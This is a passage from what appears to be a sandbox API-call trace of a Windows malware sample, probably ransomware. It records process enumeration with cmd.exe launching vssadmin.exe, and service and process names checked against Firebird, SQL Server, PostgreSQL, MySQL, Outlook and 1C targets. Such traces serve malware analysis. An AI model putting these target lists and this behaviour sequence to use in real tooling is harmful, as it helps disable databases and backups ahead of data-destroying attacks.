szExeFile="WmiPrvSE.exe")) returned 1 [0044.267] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.267] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0044.268] lstrlenW (lpString="chrome64b.exe") returned 13 [0044.268] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0044.269] lstrlenW (lpString="cmd.exe") returned 7 [0044.269] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.269] lstrlenW (lpString="conhost.exe") returned 11 [0044.269] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0044.270] lstrlenW (lpString="vssadmin.exe") returned 12 [0044.270] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0044.271] lstrlenW (lpString="VSSVC.exe") returned 9 [0044.271] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0044.272] CloseHandle (hObject=0x210) returned 1 [0044.272] Sleep (dwMilliseconds=0x1f4) [0044.813] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x64a0f8 [0044.815] EnumServicesStatusExW (in: hSCManager=0x64a0f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0044.815] GetLastError () returned 0xea [0044.815] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x12c6) returned 0x63e068 [0044.815] EnumServicesStatusExW (in: hSCManager=0x64a0f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x63e068, cbBufSize=0x12c6, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x63e068, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0044.816] CloseServiceHandle (hSCObject=0x64a0f8) returned 1 [0044.816] lstrlenW (lpString="Appinfo") returned 7 [0044.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0044.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0044.816] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0044.816] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0044.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0044.816] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0044.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.816] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0044.816] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0044.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0044.816] lstrlenW (lpString="AudioSrv") returned 8 [0044.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0044.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0044.816] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0044.816] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0044.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0044.816] lstrlenW (lpString="BFE") returned 3 [0044.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0044.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0044.817] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0044.817] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0044.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0044.817] lstrlenW (lpString="CryptSvc") returned 8 [0044.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0044.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0044.817] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0044.817] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0044.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0044.817] lstrlenW (lpString="CscService") returned 10 [0044.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0044.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0044.817] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0044.817] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0044.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0044.817] lstrlenW (lpString="DcomLaunch") returned 10 [0044.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.817] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0044.817] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0044.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0044.817] lstrlenW (lpString="Dhcp") returned 4 [0044.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0044.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0044.817] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0044.817] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0044.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0044.817] lstrlenW (lpString="Dnscache") returned 8 [0044.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0044.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0044.817] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0044.817] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0044.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0044.817] lstrlenW (lpString="DPS") returned 3 [0044.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0044.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0044.817] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0044.817] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0044.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0044.818] lstrlenW (lpString="eventlog") returned 8 [0044.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0044.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0044.818] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0044.818] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0044.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0044.818] lstrlenW (lpString="EventSystem") returned 11 [0044.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0044.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0044.818] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0044.818] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0044.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0044.818] lstrlenW (lpString="gpsvc") returned 5 [0044.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0044.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0044.818] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0044.818] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0044.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0044.818] lstrlenW (lpString="iphlpsvc") returned 8 [0044.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.818] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0044.818] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0044.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0044.818] lstrlenW (lpString="LanmanServer") returned 12 [0044.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0044.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0044.818] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0044.818] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0044.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0044.818] lstrlenW (lpString="LanmanWorkstation") returned 17 [0044.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.818] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0044.818] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0044.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0044.818] lstrlenW (lpString="lmhosts") returned 7 [0044.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0044.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0044.819] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0044.819] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0044.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0044.819] lstrlenW (lpString="MMCSS") returned 5 [0044.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0044.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0044.819] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0044.819] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0044.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0044.819] lstrlenW (lpString="MpsSvc") returned 6 [0044.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0044.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0044.819] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0044.819] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0044.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0044.819] lstrlenW (lpString="Netman") returned 6 [0044.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0044.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0044.819] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0044.819] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0044.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0044.819] lstrlenW (lpString="netprofm") returned 8 [0044.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0044.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0044.819] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0044.819] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0044.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0044.819] lstrlenW (lpString="NlaSvc") returned 6 [0044.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0044.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0044.819] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0044.819] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0044.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0044.819] lstrlenW (lpString="nsi") returned 3 [0044.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0044.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0044.819] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0044.820] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0044.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0044.820] lstrlenW (lpString="PcaSvc") returned 6 [0044.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0044.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0044.820] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0044.820] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0044.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0044.820] lstrlenW (lpString="PlugPlay") returned 8 [0044.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0044.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0044.820] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0044.820] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0044.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0044.820] lstrlenW (lpString="Power") returned 5 [0044.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0044.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0044.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0044.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0044.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0044.820] lstrlenW (lpString="ProfSvc") returned 7 [0044.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0044.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0044.820] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0044.820] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0044.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0044.820] lstrlenW (lpString="RpcEptMapper") returned 12 [0044.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.820] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0044.820] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0044.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0044.820] lstrlenW (lpString="RpcSs") returned 5 [0044.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0044.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0044.820] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0044.820] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0044.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0044.820] lstrlenW (lpString="SamSs") returned 5 [0044.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0044.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0044.821] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0044.821] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0044.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0044.821] lstrlenW (lpString="Schedule") returned 8 [0044.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0044.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0044.821] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0044.821] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0044.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0044.821] lstrlenW (lpString="SENS") returned 4 [0044.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0044.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0044.821] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0044.821] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0044.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0044.821] lstrlenW (lpString="ShellHWDetection") returned 16 [0044.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.821] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0044.821] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0044.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0044.821] lstrlenW (lpString="Spooler") returned 7 [0044.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0044.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0044.821] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0044.821] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0044.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0044.821] lstrlenW (lpString="swprv") returned 5 [0044.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0044.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0044.821] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0044.821] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0044.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0044.821] lstrlenW (lpString="SysMain") returned 7 [0044.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0044.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0044.821] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0044.821] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0044.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0044.821] lstrlenW (lpString="Themes") returned 6 [0044.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0044.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0044.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0044.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0044.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0044.822] lstrlenW (lpString="TrkWks") returned 6 [0044.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0044.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0044.822] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0044.822] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0044.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0044.822] lstrlenW (lpString="UxSms") returned 5 [0044.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0044.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0044.822] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0044.822] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0044.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0044.822] lstrlenW (lpString="VSS") returned 3 [0044.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0044.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0044.822] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0044.822] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0044.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0044.822] lstrlenW (lpString="WdiServiceHost") returned 14 [0044.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.822] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0044.822] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0044.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0044.822] lstrlenW (lpString="WdiSystemHost") returned 13 [0044.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.822] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0044.822] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0044.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0044.822] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0044.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.822] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0044.822] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0044.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0044.823] lstrlenW (lpString="Winmgmt") returned 7 [0044.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0044.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0044.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0044.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0044.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0044.823] lstrlenW (lpString="WPDBusEnum") returned 10 [0044.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.823] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0044.823] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0044.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0044.823] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63e068 | out: hHeap=0x5f0000) returned 1 [0044.823] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x210 [0044.825] Process32FirstW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.826] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0044.826] lstrlenW (lpString="System") returned 6 [0044.826] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0044.826] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0044.826] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0044.826] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0044.826] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0044.826] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0044.826] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0044.826] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0044.827] lstrlenW (lpString="smss.exe") returned 8 [0044.827] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0044.827] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0044.827] lstrcmpiW 